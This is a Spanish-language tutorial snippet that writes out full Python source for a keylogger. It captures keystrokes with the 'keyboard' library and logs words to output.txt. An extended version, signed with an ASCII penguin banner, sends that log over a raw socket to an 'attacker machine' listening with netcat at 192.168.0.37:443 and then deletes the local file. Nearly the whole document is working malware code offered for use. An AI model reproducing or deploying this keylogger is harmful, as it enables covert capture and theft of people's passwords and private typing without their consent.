Haríamos un keylogger sencillo de la siguiente forma: import keyboard import sys current_word = "" def on_key_event(e): global current_word if e.event_type == keyboard.KEY_DOWN: if e.name == 'space': guardar_palabra() else: current_word += e.name def guardar_palabra(): with open("output.txt", "a") as file: file.write(current_word + "\n") print(f'Palabra ingresada: {current_word}') resetear_palabra() def resetear_palabra(): global current_word current_word = "" def detener_script(): print("Script detenido por el usuario.") keyboard.unhook_all() # Desvincular todos los eventos de teclado sys.exit() # Registrar la función de devolución de llamada keyboard.hook(on_key_event) try: # Mantener el programa en ejecución keyboard.wait('esc') except KeyboardInterrupt: # Manejar la excepción cuando se presiona Ctrl+C fuera del bucle detener_script() {{pasted_image_20231216104923.png|}} Y lo podemos mejorar para que envíe el output.txt a una máquina atacante por netcat: print(""" .--. |o_o | |:_/ | // \ \ (\_ _/) \_=_/ ***************************************************** * Hecho por * * El Pinguino De Mario * ***************************************************** """) import keyboard import sys import socket import os from colorama import Fore, Style # Colores de colorama: green = Fore.GREEN reset = Style.RESET_ALL # Cada palabra capturada se resetea en esta variable: palabra = "" # Función para registrar cada palabra presionada en la variable palabra: def pulsacion_tecla(pulsacion): # Recibir cada pulsación del teclado global palabra if pulsacion.event_type == keyboard.KEY_DOWN: if pulsacion.name == 'space': guardar_palabra_al_espacio() elif len(pulsacion.name) == 1 and pulsacion.name.isprintable(): # Se encarga de manejar las pulsaciones de teclas que representan caracteres imprimibles. palabra += pulsacion.name # Registrar la función de devolución de llamada keyboard.hook(pulsacion_tecla) # Llamamos a la función on_key_event para pasarle cada pulsación a la variables pulsacion. # Cada palabra se guarda en el output.txt y se crea en caso de no existir. def guardar_palabra_al_espacio(): with open("output.txt", "a") as file: # La a es de append, modo apertura del archivo para añadir información. file.write(palabra + "\n") print(f'Palabra registrada: {Fore.GREEN}{palabra}{Style.RESET_ALL}') resetear_palabra() # Llamamos a la función que se encarga de resetear la variable después de presionar espacio. # Función para que se vaya registrando en la variable cada palabra al presionar espacio. def resetear_palabra(): global palabra palabra = "" # Enviamos el output.txt a una máquina atacante que esté escuchando con netcat (después de presionar control + C). def enviar_archivo_via_sockets(archivo, direccion_ip, puerto): try: with open(archivo, 'rb') as file: contenido = file.read() with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((direccion_ip, puerto)) s.sendall(contenido) os.remove("output.txt") sys.exit() except Exception as e: print(f"Error al enviar el archivo: {e}") # Se detiene el script y ahí se llama a la función anterior. def detener_script(): print("Enviamos datos a la máquina atacante") keyboard.unhook_all() # Desvincular todos los eventos de teclado enviar_archivo_via_sockets(archivo_a_enviar, direccion_ip_destino, puerto_destino) # Donde enviamos el .txt direccion_ip_destino = '192.168.0.37' puerto_destino = 443 archivo_a_enviar = 'output.txt' try: keyboard.wait('esc') # Bucle que debe estar en ejecución para detener el script con tecla escape. detener_script() except KeyboardInterrupt: print(f'{Fore.GREEN}Script Detenido{Style.RESET_ALL}') pass